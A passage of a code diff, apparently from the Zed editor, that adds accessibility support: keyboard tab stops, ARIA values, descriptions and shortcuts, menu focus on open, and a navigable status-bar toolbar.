                             |title_bar, menu| {
-                                render_project_items &=
-                                    !menu.update(cx, |menu, cx| menu.all_menus_shown(cx));
+                                // Hide the project/branch items to make room when the
+                                // menu bar is expanded -- except in accessible mode,
+                                // where the menu bar is always expanded but those
+                                // controls must still remain reachable.
+                                render_project_items &= !menu
+                                    .update(cx, |menu, cx| menu.all_menus_shown(cx))
+                                    || cx.accessible_mode();
                                 title_bar.child(menu)
                             },
                         )
@@ -758,6 +763,7 @@ impl TitleBar {
             Button::new("project_owner_trigger", host_user.username.clone())
                 .color(Color::Player(participant_index.0))
                 .label_size(LabelSize::Small)
+                .tab_index(0isize)
                 .tooltip(move |_, cx| {
                     let tooltip_title = format!(
                         "{} is sharing this project. Click to follow.",
@@ -843,6 +849,7 @@ impl TitleBar {
             .trigger_with_tooltip(
                 Button::new("project_name_trigger", display_name)
                     .label_size(LabelSize::Small)
+                    .tab_index(0isize)
                     .when(self.worktree_count(cx) > 1, |this| {
                         this.end_icon(
                             Icon::new(IconName::ChevronDown)
@@ -894,6 +901,7 @@ impl TitleBar {
             .trigger_with_tooltip(
                 Button::new("project_name_trigger", display_name)
                     .label_size(LabelSize::Small)
+                    .tab_index(0isize)
                     .when(self.worktree_count(cx) > 1, |this| {
                         this.end_icon(
                             Icon::new(IconName::ChevronDown)
@@ -997,6 +1005,7 @@ impl TitleBar {
                         .selected_style(ButtonStyle::Tinted(TintColor::Accent))
                         .label_size(LabelSize::Small)
                         .color(Color::Muted)
+                        .tab_index(0isize)
                         .loading(is_creating)
                         .start_icon(
                             Icon::new(IconName::GitWorktree)
@@ -1028,6 +1037,7 @@ impl TitleBar {
                     Button::new("project_branch_trigger", "Create Branch")
                         .selected_style(ButtonStyle::Tinted(TintColor::Accent))
                         .label_size(LabelSize::Small)
+                        .tab_index(0isize)
                         .start_icon(
                             Icon::new(IconName::GitBranchPlus)
                                 .size(IconSize::XSmall)
@@ -1038,6 +1048,7 @@ impl TitleBar {
                         .selected_style(ButtonStyle::Tinted(TintColor::Accent))
                         .label_size(LabelSize::Small)
                         .color(Color::Muted)
+                        .tab_index(0isize)
                         .start_icon(
                             Icon::new(branch_icon)
                                 .size(IconSize::XSmall)
@@ -1194,6 +1205,7 @@ impl TitleBar {
         let workspace = self.workspace.clone();
         Button::new("sign_in", "Sign In")
             .label_size(LabelSize::Small)
+            .tab_index(0isize)
             .on_click(move |_, window, cx| {
                 let client = client.clone();
                 let workspace = workspace.clone();
@@ -1251,17 +1263,21 @@ impl TitleBar {
                 }
             });
 
-            ButtonLike::new("user-menu").aria_label("User menu").child(
-                h_flex()
-                    .when_some(business_organization, |this, organization| {
-                        this.gap_2()
-                            .child(Label::new(&organization.name).size(LabelSize::Small))
-                    })
-                    .children(avatar),
-            )
+            ButtonLike::new("user-menu")
+                .aria_label("User menu")
+                .tab_index(0isize)
+                .child(
+                    h_flex()
+                        .when_some(business_organization, |this, organization| {
+                            this.gap_2()
+                                .child(Label::new(&organization.name).size(LabelSize::Small))
+                        })
+                        .children(avatar),
+                )
         } else {
             ButtonLike::new("user-menu")
                 .aria_label("User menu")
+                .tab_index(0isize)
                 .child(Icon::new(IconName::ChevronDown).size(IconSize::Small))
         };
 
diff --git a/crates/toolchain_selector/src/active_toolchain.rs b/crates/toolchain_selector/src/active_toolchain.rs
index 72c24df92e0458..7f157e268954c0 100644
--- a/crates/toolchain_selector/src/active_toolchain.rs
+++ b/crates/toolchain_selector/src/active_toolchain.rs
@@ -240,6 +240,7 @@ impl Render for ActiveToolchain {
         div().child(
             Button::new("change-toolchain", active_toolchain.name.clone())
                 .label_size(LabelSize::Small)
+                .tab_index(0isize)
                 .on_click(cx.listener(|this, _, window, cx| {
                     if let Some(workspace) = this.workspace.upgrade() {
                         workspace.update(cx, |workspace, cx| {
diff --git a/crates/ui/src/components/button/button.rs b/crates/ui/src/components/button/button.rs
index 094c0988ba99d7..e8e55836c406b2 100644
--- a/crates/ui/src/components/button/button.rs
+++ b/crates/ui/src/components/button/button.rs
@@ -130,6 +130,21 @@ impl Button {
         self
     }
 
+    /// Sets the supplementary description announced by assistive technology
+    /// after the button's name, role, and value.
+    pub fn aria_description(mut self, description: impl Into<SharedString>) -> Self {
+        self.base = self.base.aria_description(description);
+        self
+    }
+
+    /// Sets the current value reported to assistive technology. Use this when
+    /// the button represents a control with a value, such as a combobox
+    /// trigger whose value is the current selection.
+    pub fn aria_value(mut self, value: impl Into<SharedString>) -> Self {
+        self.base = self.base.aria_value(value);
+        self
+    }
+
     /// Overrides the role reported to assistive technology.
     /// Defaults to [`gpui::Role::Button`].
     pub fn aria_role(mut self, role: gpui::Role) -> Self {
@@ -401,7 +416,7 @@ impl ButtonCommon for Button {
 
 impl RenderOnce for Button {
     #[allow(refining_impl_trait)]
-    fn render(mut self, _window: &mut Window, cx: &mut App) -> ButtonLike {
+    fn render(mut self, window: &mut Window, cx: &mut App) -> ButtonLike {
         let is_disabled = self.base.disabled;
         let is_selected = self.base.selected;
 
@@ -414,6 +429,27 @@ impl RenderOnce for Button {
             self.base.aria_label = Some(label.clone());
         }
 
+        // Announce the displayed keybinding to assistive technology via
+        // `aria-keyshortcuts` so screen-reader users hear the same shortcut
+        // sighted users see next to the button.
+        if self.base.aria_keyshortcuts.is_none()
+            && let Some(keyshortcuts) = self
+                .key_binding
+                .as_ref()
+                .and_then(|key_binding| key_binding.keyboard_shortcut_text(window, cx))
+        {
+            self.base.aria_keyshortcuts = Some(keyshortcuts);
+        }
+
+        // A combobox's value is its visible text, so expose it as the
+        // accessible value by default. This lets combobox triggers announce
+        // their current selection without each caller wiring it up.
+        if matches!(self.base.aria_role, Some(gpui::Role::ComboBox))
+            && self.base.aria_value.is_none()
+        {
+            self.base.aria_value = Some(label.clone());
+        }
+
         let label_color = if is_disabled {
             Color::Disabled
         } else if is_selected {
diff --git a/crates/ui/src/components/button/button_like.rs b/crates/ui/src/components/button/button_like.rs
index 3436b8dca5daed..20bcaf7fb6e6ff 100644
--- a/crates/ui/src/components/button/button_like.rs
+++ b/crates/ui/src/components/button/button_like.rs
@@ -493,7 +493,10 @@ pub struct ButtonLike {
     size: ButtonSize,
     rounding: Option<ButtonLikeRounding>,
     pub(super) aria_label: Option<SharedString>,
-    aria_role: Option<Role>,
+    aria_description: Option<SharedString>,
+    pub(super) aria_value: Option<SharedString>,
+    pub(super) aria_keyshortcuts: Option<SharedString>,
+    pub(super) aria_role: Option<Role>,
     aria_expanded: Option<bool>,
     toggled: Option<bool>,
     tooltip: Option<Box<dyn Fn(&mut Window, &mut App) -> AnyView>>,
@@ -523,6 +526,9 @@ impl ButtonLike {
             size: ButtonSize::Default,
             rounding: Some(ButtonLikeRounding::ALL),
             aria_label: None,
+            aria_description: None,
+            aria_value: None,
+            aria_keyshortcuts: None,
             aria_role: None,
             aria_expanded: None,
             toggled: None,
@@ -588,6 +594,32 @@ impl ButtonLike {
         self
     }
 
+    /// Sets the keyboard shortcut announced by assistive technology for this
+    /// button. Use a human-friendly display string (the accelerator shown to
+    /// sighted users), e.g. `"Ctrl-S"` - see
+    /// [`KeyBinding::keyboard_shortcut_text`](crate::KeyBinding::keyboard_shortcut_text).
+    /// [`Button`](crate::Button) sets this automatically from its displayed
+    /// keybinding.
+    pub fn aria_keyshortcuts(mut self, keyshortcuts: impl Into<SharedString>) -> Self {
+        self.aria_keyshortcuts = Some(keyshortcuts.into());
+        self
+    }
+
+    /// Sets the supplementary description announced by assistive technology
+    /// after the button's name, role, and value.
+    pub fn aria_description(mut self, description: impl Into<SharedString>) -> Self {
+        self.aria_description = Some(description.into());
+        self
+    }
+
+    /// Sets the current value reported to assistive technology. Use this when
+    /// the button represents a control with a value, such as a combobox
+    /// trigger whose value is the current selection.
+    pub fn aria_value(mut self, value: impl Into<SharedString>) -> Self {
+        self.aria_value = Some(value.into());
+        self
+    }
+
     /// Overrides the role reported to assistive technology.
     /// Defaults to [`Role::Button`].
     pub fn aria_role(mut self, role: Role) -> Self {
@@ -727,6 +759,13 @@ impl RenderOnce for ButtonLike {
             .id(self.id.clone())
             .role(self.aria_role.unwrap_or(Role::Button))
             .when_some(self.aria_label, |this, label| this.aria_label(label))
+            .when_some(self.aria_keyshortcuts, |this, keyshortcuts| {
+                this.aria_keyshortcuts(keyshortcuts)
+            })
+            .when_some(self.aria_description, |this, description| {
+                this.aria_description(description)
+            })
+            .when_some(self.aria_value, |this, value| this.aria_value(value))
             .when_some(self.aria_expanded, |this, expanded| {
                 this.aria_expanded(expanded)
             })
diff --git a/crates/ui/src/components/context_menu.rs b/crates/ui/src/components/context_menu.rs
index 2a3388a406ae5a..3736a2e32009fb 100644
--- a/crates/ui/src/components/context_menu.rs
+++ b/crates/ui/src/components/context_menu.rs
@@ -296,6 +296,19 @@ impl ContextMenu {
         );
         window.refresh();
 
+        // When the menu first receives focus (i.e. when it opens), move the
+        // selection onto a menu item so assistive technology announces a real
+        // item rather than the bare menu container. Per the ARIA menu button
+        // pattern, opening a menu places focus on a menu item; for select-style
+        // menus we prefer the currently-checked item. We only do this when
+        // nothing is selected yet so we don't override an existing selection.
+        cx.on_focus_in(&focus_handle, window, |this, window, cx| {
+            if this.selected_index.is_none() {
+                this.select_toggled_or_first(window, cx);
+            }
+        })
+        .detach();
+
         f(
             Self {
                 builder: None,
@@ -373,6 +386,15 @@ impl ContextMenu {
             );
             window.refresh();
 
+            // See the note in `ContextMenu::new`: select an item when the menu
+            // opens so screen readers announce it instead of just "menu".
+            cx.on_focus_in(&focus_handle, window, |this, window, cx| {
+                if this.selected_index.is_none() {
+                    this.select_toggled_or_first(window, cx);
+                }
+            })
+            .detach();
+
             (builder.clone())(
                 Self {
                     builder: Some(builder),
@@ -1070,6 +1092,32 @@ impl ContextMenu {
         cx.notify();
     }
 
+    /// Selects the currently-checked entry if one exists (e.g. the active value
+    /// in a single-select dropdown), otherwise the first selectable item.
+    ///
+    /// This is intended to be called when the menu opens. Per the ARIA menu
+    /// button pattern, opening a menu should place focus on a menu item rather
+    /// than the menu container, so that assistive technology immediately
+    /// announces a meaningful item (ideally the current selection) instead of
+    /// just "menu".
+    pub fn select_toggled_or_first(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        let toggled_ix = self.items.iter().position(|item| {
+            matches!(
+                item,
+                ContextMenuItem::Entry(ContextMenuEntry {
+                    toggle: Some((_, true)),
+                    ..
+                })
+            )
+        });
+        if let Some(ix) = toggled_ix {
+            self.select_index(ix, window, cx);
+            cx.notify();
+        } else {
+            self.select_first(&SelectFirst, window, cx);
+        }
+    }
+
     pub fn select_last(&mut self, window: &mut Window, cx: &mut Context<Self>) -> Option<usize> {
         for (ix, item) in self.items.iter().enumerate().rev() {
             if item.is_selectable() {
@@ -1440,7 +1488,7 @@ impl ContextMenu {
                 .child(Label::new(label.clone()))
                 .into_any_element(),
             ContextMenuItem::Entry(entry) => self
-                .render_menu_entry(ix, entry, is_active_descendant(true), cx)
+                .render_menu_entry(ix, entry, is_active_descendant(true), window, cx)
                 .into_any_element(),
             ContextMenuItem::CustomEntry {
                 entry_render,
@@ -1757,6 +1805,7 @@ impl ContextMenu {
         ix: usize,
         entry: &ContextMenuEntry,
         is_active_descendant: bool,
+        window: &mut Window,
         cx: &mut Context<Self>,
     ) -> impl IntoElement {
         let ContextMenuEntry {
@@ -1779,6 +1828,17 @@ impl ContextMenu {
             secondary_handler: _,
         } = entry;
         let this = cx.weak_entity();
+        // Report the item's keyboard shortcut to assistive technology, resolving
+        // the action's binding the same way the visible accelerator (rendered
+        // below) is.
+        let keyboard_shortcut = action.as_ref().and_then(|action| {
+            let binding = self
+                .action_context
+                .as_ref()
+                .map(|focus| KeyBinding::for_action_in(&**action, focus, cx))
+                .unwrap_or_else(|| KeyBinding::for_action(&**action, cx));
+            binding.keyboard_shortcut_text(window, cx)
+        });
 
         let handler = handler.clone();
         let menu = cx.entity().downgrade();
@@ -1902,8 +1962,12 @@ impl ContextMenu {
                     } else {
                         Role::MenuItem
                     })
+                    .when_some(*toggle, |item, (_, checked)| item.aria_checked(checked))
                     .when(is_active_descendant, |item| item.aria_active_descendant())
                     .aria_label(label.clone())
+                    .when_some(keyboard_shortcut, |item, keyboard_shortcut| {
+                        item.aria_keyshortcuts(keyboard_shortcut)
+                    })
                     .toggle_state(Some(ix) == self.selected_index)
                     .when(self.main_menu.is_none() && !*disabled, |item| {
                         item.on_hover(cx.listener(move |this, hovered, window, cx| {
diff --git a/crates/ui/src/components/dropdown_menu.rs b/crates/ui/src/components/dropdown_menu.rs
index 3be19d333f32df..8991f992967b7a 100644
--- a/crates/ui/src/components/dropdown_menu.rs
+++ b/crates/ui/src/components/dropdown_menu.rs
@@ -35,6 +35,8 @@ pub struct DropdownMenu {
     tab_index: Option<isize>,
     chevron: bool,
     aria_label: Option<SharedString>,
+    aria_description: Option<SharedString>,
+    aria_value: Option<SharedString>,
 }
 
 impl DropdownMenu {
@@ -59,6 +61,8 @@ impl DropdownMenu {
             tab_index: None,
             chevron: true,
             aria_label: None,
+            aria_description: None,
+            aria_value: None,
         }
     }
 
@@ -83,6 +87,8 @@ impl DropdownMenu {
             tab_index: None,
             chevron: true,
             aria_label: None,
+            aria_description: None,
+            aria_value: None,
         }
     }
 
@@ -147,6 +153,20 @@ impl DropdownMenu {
         self.aria_label = Some(label.into());
         self
     }
+
+    /// Sets the supplementary description announced by assistive technology
+    /// after the combobox's name, role, and value.
+    pub fn aria_description(mut self, description: impl Into<SharedString>) -> Self {
+        self.aria_description = Some(description.into());
+        self
+    }
+
+    /// Sets the current value announced by assistive technology (the selected
+    /// option). Defaults to the trigger's visible text label.
+    pub fn aria_value(mut self, value: impl Into<SharedString>) -> Self {
+        self.aria_value = Some(value.into());
+        self
+    }
 }
 
 impl Disableable for DropdownMenu {
@@ -173,6 +193,15 @@ impl RenderOnce for DropdownMenu {
         let handle = self.handle.unwrap_or_default();
         let expanded = handle.is_deployed();
 
+        // A combobox should announce its current value (the selected option).
+        // Default to the trigger's visible text label when no explicit value
+        // is provided.
+        let aria_value = self.aria_value.clone().or_else(|| match &self.label {
+            LabelKind::Text(text) => Some(text.clone()),
+            LabelKind::Element(_) => None,
+        });
+        let aria_description = self.aria_description.clone();
+
         let a11y_actions = |button: Button| {
             let show_handle = handle.clone();
             let hide_handle = handle.clone();
@@ -202,6 +231,10 @@ impl RenderOnce for DropdownMenu {
                     a11y_actions(Button::new(self.id.clone(), text))
                         .aria_role(Role::ComboBox)
                         .when_some(self.aria_label, |this, label| this.aria_label(label))
+                        .when_some(aria_description, |this, description| {
+                            this.aria_description(description)
+                        })
+                        .when_some(aria_value, |this, value| this.aria_value(value))
                         .aria_expanded(expanded)
                         .style(button_style)
                         .when_some(self.trigger_icon.filter(|_| self.chevron), |this, icon| {
@@ -222,6 +255,10 @@ impl RenderOnce for DropdownMenu {
                     a11y_actions_element(ButtonLike::new(self.id.clone()))
                         .aria_role(Role::ComboBox)
                         .when_some(self.aria_label, |this, label| this.aria_label(label))
+                        .when_some(aria_description, |this, description| {
+                            this.aria_description(description)
+                        })
+                        .when_some(aria_value, |this, value| this.aria_value(value))
                         .aria_expanded(expanded)
                         .child(element)
                         .style(button_style)
@@ -240,9 +277,19 @@ impl RenderOnce for DropdownMenu {
             ),
         };
 
+        // When the menu opens, move the selection to the current value (or the
+        // first item) so assistive technology announces a meaningful item
+        // immediately, instead of focusing the bare menu container and
+        // announcing only "menu". See the ARIA menu button pattern.
+        let menu_for_open = self.menu.clone();
         let mut popover = PopoverMenu::new((self.id.clone(), "popover"))
             .full_width(self.full_width)
             .with_handle(handle)
+            .on_open(std::rc::Rc::new(move |window, cx| {
+                menu_for_open.update(cx, |menu, cx| {
+                    menu.select_toggled_or_first(window, cx);
+                });
+            }))
             .menu(move |_window, _cx| Some(self.menu.clone()));
 
         popover = match (text_button, element_button, self.trigger_tooltip) {
diff --git a/crates/ui/src/components/keybinding.rs b/crates/ui/src/components/keybinding.rs
index af30dd6865944b..bc8c68067e0352 100644
--- a/crates/ui/src/components/keybinding.rs
+++ b/crates/ui/src/components/keybinding.rs
@@ -135,6 +135,50 @@ impl KeyBinding {
         self.vim_mode = vim_mode;
         self
     }
+
+    /// Resolves this keybinding's keystrokes the same way rendering does
+    /// (matching the visible accelerator). Returns `None` when there is no
+    /// binding.
+    fn resolve_keystrokes(&self, window: &Window, cx: &App) -> Option<Vec<KeybindingKeystroke>> {
+        let keystrokes = match &self.source {
+            Source::Action {
+                action,
+                focus_handle,
+            } => {
+                let binding = focus_handle
+                    .clone()
+                    .or_else(|| window.focused(cx))
+                    .and_then(|focus| {
+                        window.highest_precedence_binding_for_action_in(action.as_ref(), &focus)
+                    })
+                    .or_else(|| window.highest_precedence_binding_for_action(action.as_ref()))?;
+                binding.keystrokes().to_vec()
+            }
+            Source::Keystrokes { keystrokes } => keystrokes.to_vec(),
+        };
+        (!keystrokes.is_empty()).then_some(keystrokes)
+    }
+
+    /// Resolves this keybinding to a human-readable shortcut string in the same
+    /// platform format shown to sighted users (e.g. `"Ctrl-S"`, `"Command-S"`,
+    /// or `"Ctrl-K Ctrl-S"` for a chord), matching the visible accelerator. This
+    /// is the format AccessKit's `keyboard_shortcut` property expects. Returns
+    /// `None` when there is no binding.
+    pub fn keyboard_shortcut_text(&self, window: &Window, cx: &App) -> Option<SharedString> {
+        let keystrokes = self.resolve_keystrokes(window, cx)?;
+        let text = keystrokes
+            .iter()
+            .map(|keystroke| {
+                keystroke_text(
+                    keystroke.modifiers(),
+                    keystroke.key(),
+                    self.platform_style,
+                    self.vim_mode,
+                )
+            })
+            .join(" ");
+        Some(text.into())
+    }
 }
 
 fn render_key(
diff --git a/crates/ui/src/components/list/list_item.rs b/crates/ui/src/components/list/list_item.rs
index 7077aea4c7c37c..f6a37ee0522a24 100644
--- a/crates/ui/src/components/list/list_item.rs
+++ b/crates/ui/src/components/list/list_item.rs
@@ -55,6 +55,8 @@ pub struct ListItem {
     height: Option<DefiniteLength>,
     aria_role: Option<Role>,
     aria_label: Option<SharedString>,
+    aria_keyshortcuts: Option<SharedString>,
+    aria_checked: Option<bool>,
     aria_active_descendant: bool,
 }
 
@@ -89,6 +91,8 @@ impl ListItem {
             height: None,
             aria_role: None,
             aria_label: None,
+            aria_keyshortcuts: None,
+            aria_checked: None,
             aria_active_descendant: false,
         }
     }
@@ -109,6 +113,24 @@ impl ListItem {
         self
     }
 
+    /// Sets the keyboard shortcut announced by assistive technology for this
+    /// item, e.g. a menu item's accelerator. Requires [`Self::aria_role`] to be
+    /// set. Use a human-friendly display string (the accelerator shown to
+    /// sighted users), e.g. `"Ctrl-S"`.
+    pub fn aria_keyshortcuts(mut self, keyshortcuts: impl Into<SharedString>) -> Self {
+        self.aria_keyshortcuts = Some(keyshortcuts.into());
+        self
+    }
+
+    /// Sets the checked state reported to assistive technology, independent of
+    /// the visual disclosure [`Self::toggle`]. Use this for checkable items
+    /// such as a [`Role::MenuItemCheckBox`] entry so screen readers announce
+    /// "checked"/"not checked" accurately.
+    pub fn aria_checked(mut self, checked: bool) -> Self {
+        self.aria_checked = Some(checked);
+        self
+    }
+
     /// Reports this item as the accessibility focus, overriding the element
     /// that holds real keyboard focus. Requires [`Self::aria_role`] to be set.
     ///
@@ -313,15 +335,20 @@ impl RenderOnce for ListItem {
                         |this| this.aria_active_descendant(),
                     )
                     .when_some(self.aria_label, |this, label| this.aria_label(label))
+                    .when_some(self.aria_keyshortcuts, |this, keyshortcuts| {
+                        this.aria_keyshortcuts(keyshortcuts)
+                    })
                     .when(self.aria_role.is_some(), |this| {
-                        this.aria_selected(self.selected)
-                            .when_some(self.toggle, |this, toggled| {
+                        this.aria_selected(self.selected).when_some(
+                            self.aria_checked.or(self.toggle),
+                            |this, toggled| {
                                 this.aria_toggled(if toggled {
                                     gpui::Toggled::True
                                 } else {
                                     gpui::Toggled::False
                                 })
-                            })
+                            },
+                        )
                     })
                     .group("list_item")
                     .w_full()
diff --git a/crates/ui/src/components/toggle.rs b/crates/ui/src/components/toggle.rs
index edf90aca434c6f..9991b92ce38605 100644
--- a/crates/ui/src/components/toggle.rs
+++ b/crates/ui/src/components/toggle.rs
@@ -348,6 +348,7 @@ pub struct Switch {
     color: SwitchColor,
     tab_index: Option<isize>,
     aria_label: Option<SharedString>,
+    aria_description: Option<SharedString>,
 }
 
 impl Switch {
@@ -366,6 +367,7 @@ impl Switch {
             color: SwitchColor::default(),
             tab_index: None,
             aria_label: None,
+            aria_description: None,
         }
     }
 
@@ -431,10 +433,17 @@ impl Switch {
         self.aria_label = Some(label.into());
         self
     }
+
+    /// Sets the supplementary description announced by assistive technology
+    /// after the switch's name, role, and state.
+    pub fn aria_description(mut self, description: impl Into<SharedString>) -> Self {
+        self.aria_description = Some(description.into());
+        self
+    }
 }
 
 impl RenderOnce for Switch {
-    fn render(self, _window: &mut Window, cx: &mut App) -> impl IntoElement {
+    fn render(self, window: &mut Window, cx: &mut App) -> impl IntoElement {
         let is_on = self.toggle_state == ToggleState::Selected;
         let adjust_ratio = if is_light(cx) { 1.5 } else { 1.0 };
 
@@ -457,11 +466,22 @@ impl RenderOnce for Switch {
         let group_id = format!("switch_group_{:?}", self.id);
         let label = self.label;
         let aria_label = self.aria_label.or_else(|| label.clone());
+        let aria_description = self.aria_description;
+        let aria_keyshortcuts = self
+            .key_binding
+            .as_ref()
+            .and_then(|key_binding| key_binding.keyboard_shortcut_text(window, cx));
 
         let switch = div()
             .id((self.id.clone(), "switch"))
             .role(Role::Switch)
             .when_some(aria_label, |this, label| this.aria_label(label))
+            .when_some(aria_keyshortcuts, |this, keyshortcuts| {
+                this.aria_keyshortcuts(keyshortcuts)
+            })
+            .when_some(aria_description, |this, description| {
+                this.aria_description(description)
+            })
             .aria_toggled(match self.toggle_state {
                 ToggleState::Selected => Toggled::True,
                 ToggleState::Indeterminate => Toggled::Mixed,
diff --git a/crates/workspace/src/dock.rs b/crates/workspace/src/dock.rs
index 8bac0fcefdeeea..139da5f7a933d2 100644
--- a/crates/workspace/src/dock.rs
+++ b/crates/workspace/src/dock.rs
@@ -1357,6 +1357,8 @@ impl Render for PanelButtons {
                             let button = IconButton::new((name, is_active_button as u64), icon)
                                 .icon_size(IconSize::Small)
                                 .toggle_state(is_active_button)
+                                .tab_index(0isize)
+                                .aria_label(icon_tooltip)
                                 .on_click({
                                     let action = action.boxed_clone();
                                     move |_, window, cx| {
diff --git a/crates/workspace/src/status_bar.rs b/crates/workspace/src/status_bar.rs
index ae34936047d06a..0cf9e97b136071 100644
--- a/crates/workspace/src/status_bar.rs
+++ b/crates/workspace/src/status_bar.rs
@@ -3,8 +3,8 @@ use crate::{
     sidebar_side_context_menu,
 };
 use gpui::{
-    Anchor, AnyView, App, Context, Decorations, Entity, IntoElement, ParentElement, Render,
-    SharedString, Styled, Subscription, WeakEntity, Window,
+    Anchor, AnyView, App, Context, Decorations, Entity, FocusHandle, Focusable, IntoElement,
+    ParentElement, Render, Role, SharedString, Styled, Subscription, WeakEntity, Window,
 };
 use settings::{SettingsContent, update_settings_file};
 use std::{any::TypeId, sync::Arc};
@@ -102,14 +102,51 @@ pub struct StatusBar {
     right_items: Vec<Box<dyn StatusItemViewHandle>>,
     active_pane: Entity<Pane>,
     multi_workspace: Option<WeakEntity<MultiWorkspace>>,
+    focus_handle: FocusHandle,
     _observe_active_pane: Subscription,
 }
 
+impl Focusable for StatusBar {
+    fn focus_handle(&self, _cx: &App) -> FocusHandle {
+        self.focus_handle.clone()
+    }
+}
+
 impl Render for StatusBar {
     fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         let sidebar = SidebarStatus::query(&self.multi_workspace, cx);
 
         h_flex()
+            .id("status-bar")
+            .track_focus(&self.focus_handle)
+            .key_context("StatusBar")
+            // Expose the status bar as an ARIA toolbar so assistive technology
+            // announces it as a toolbar and region navigation can reach its
+            // controls. The controls inside form a tab group: region navigation
+            // lands on the first control (per the ARIA toolbar pattern), Tab
+            // steps through them, and arrow keys move between them once focus is
+            // inside.
+            .role(Role::Toolbar)
+            .aria_label("Status bar")
+            .tab_group()
+            .on_key_down(
+                cx.listener(|status_bar, event: &gpui::KeyDownEvent, window, cx| {
+                    if event.keystroke.modifiers.modified() {
+                        return;
+                    }
+                    match event.keystroke.key.as_str() {
+                        "right" => {
+                            status_bar.move_item_focus(true, window, cx);
+                            cx.stop_propagation();
+                        }
+                        "left" => {
+                            status_bar.move_item_focus(false, window, cx);
+                            cx.stop_propagation();
+                        }
+                        _ => {}
+                    }
+                }),
+            )
             .w_full()
             .justify_between()
             .gap(DynamicSpacing::Base08.rems(cx))
@@ -222,6 +259,8 @@ impl StatusBar {
                     },
                 )
                 .icon_size(IconSize::Small)
+                .tab_index(0isize)
+                .aria_label("Open threads sidebar")
                 .when(has_notifications, |this| {
                     this.indicator(Indicator::dot().color(Color::Accent))
                         .indicator_border_color(Some(indicator_border))
@@ -296,6 +335,7 @@ impl StatusBar {
             right_items: Default::default(),
             active_pane: active_pane.clone(),
             multi_workspace,
+            focus_handle: cx.focus_handle(),
             _observe_active_pane: cx.observe_in(active_pane, window, |this, _, window, cx| {
                 this.update_active_pane_item(window, cx)
             }),
@@ -412,6 +452,26 @@ impl StatusBar {
             item.set_active_pane_item(active_pane_item.as_deref(), window, cx);
         }
     }
+
+    /// Moves focus between the interactive controls within the status bar in
+    /// response to arrow keys. Navigation is clamped to the status bar so
+    /// arrows move between items and stop at the ends (ARIA toolbar semantics);
+    /// Tab is still used to leave the toolbar.
+    fn move_item_focus(&mut self, forward: bool, window: &mut Window, cx: &mut Context<Self>) {
+        let previous = window.focused(cx);
+        if forward {
+            window.focus_next(cx);
+        } else {
+            window.focus_prev(cx);
+        }
+        let landed_in_status_bar = window
+            .focused(cx)
+            .is_some_and(|handle| self.focus_handle.contains(&handle, window));
+        if !landed_in_status_bar && let Some(previous) = previous {
+            window.focus(&previous, cx);
+        }
+        cx.notify();
+    }
 }
 
 impl<T: StatusItemView> StatusItemViewHandle for Entity<T> {
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index 0fc345b1b7c9f3..23c9a5cf557e4a 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -155,8 +155,9 @@ use util::{
 };
 use uuid::Uuid;
 pub use workspace_settings::{
-    AutosaveSetting, BottomDockLayout, EncodingDisplayOptions, FocusFollowsMouse,
+    AccessibleMode, AutosaveSetting, BottomDockLayout, EncodingDisplayOptions, FocusFollowsMouse,
     RestoreOnStartupBehavior, StatusBarSettings, TabBarSettings, WorkspaceSettings,
+    observe_accessible_mode,
 };
 use zed_actions::{Spawn, feedback::FileBugReport, theme::ToggleMode};
 
@@ -253,6 +254,13 @@ actions!(
         ActivatePreviousPane,
         /// Activates the last pane in the workspace.
         ActivateLastPane,
+        /// Moves focus to the next major region of the window (editor, open
+        /// panels, status bar), cycling and wrapping around. Intended as a
+        /// discoverable, screen-reader-friendly way to navigate the window.
+        FocusNextPart,
+        /// Moves focus to the previous major region of the window. See
+        /// [`FocusNextPart`].
+        FocusPreviousPart,
         /// Switches to the next window.
         ActivateNextWindow,
         /// Switches to the previous window.
@@ -1375,6 +1383,8 @@ pub struct Workspace {
     pub(crate) modal_layer: Entity<ModalLayer>,
     toast_layer: Entity<ToastLayer>,
     titlebar_item: Option<AnyView>,
+    titlebar_focus_handle: FocusHandle,
+    region_focus_handles: RegionFocusHandles,
     notifications: Notifications,
     suppressed_notifications: HashSet<NotificationId>,
     project: Entity<Project>,
@@ -1822,6 +1832,8 @@ impl Workspace {
             modal_layer,
             toast_layer,
             titlebar_item: None,
+            titlebar_focus_handle: cx.focus_handle(),
+            region_focus_handles: RegionFocusHandles::new(cx),
             notifications: Notifications::default(),
             suppressed_notifications: HashSet::default(),
             left_dock,
@@ -7406,6 +7418,16 @@ impl Workspace {
                 ThreadStatus::Stopped => context.add("debugger_stopped"),
                 ThreadStatus::Exited | ThreadStatus::Ended => {}
             }
+            // A coarse "there is a live debug session" flag (running, stepping,
+            // or stopped at a breakpoint) used to gate debugger controls like
+            // step/pause/stop. Distinct from `debugger_running`, which is only
+            // true while the program is actually executing.
+            if matches!(
+                status,
+                ThreadStatus::Running | ThreadStatus::Stepping | ThreadStatus::Stopped
+            ) {
+                context.add("debugger_session");
+            }
         }
 
         if self.left_dock.read(cx).is_open() {
@@ -7487,6 +7509,12 @@ impl Workspace {
             .on_action(cx.listener(|workspace, _: &ActivateLastPane, window, cx| {
                 workspace.activate_last_pane(window, cx)
             }))
+            .on_action(cx.listener(|workspace, _: &FocusNextPart, window, cx| {
+                workspace.move_part_focus(true, window, cx);
+            }))
+            .on_action(cx.listener(|workspace, _: &FocusPreviousPart, window, cx| {
+                workspace.move_part_focus(false, window, cx);
+            }))
             .on_action(
                 cx.listener(|workspace, _: &ActivateNextWindow, _window, cx| {
                     workspace.activate_next_window(cx)
@@ -7982,7 +8010,7 @@ impl Workspace {
         dock: &Entity<Dock>,
         window: &mut Window,
         cx: &mut App,
-    ) -> Option<Div> {
+    ) -> Option<Stateful<Div>> {
         if self.zoomed_position == Some(position) {
             return None;
         }
@@ -7993,7 +8021,30 @@ impl Workspace {
             leader_border_for_pane(follower_states, &pane, window, cx)
         });
 
+        // Expose each open dock as a landmark region so assistive technology
+        // can navigate to it, and so region navigation announces it. While a
+        // screen reader is active the wrapper is also the focus target for
+        // region navigation (it carries the landmark role and label), so
+        // focusing it announces the region instead of falling back to the whole
+        // window. We only make it focusable in that case so it never adds a
+        // hitbox or intercepts mouse focus for other users.
+        let (dock_element_id, dock_label) = match position {
+            DockPosition::Left => ("left-dock", "Left dock"),
+            DockPosition::Right => ("right-dock", "Right dock"),
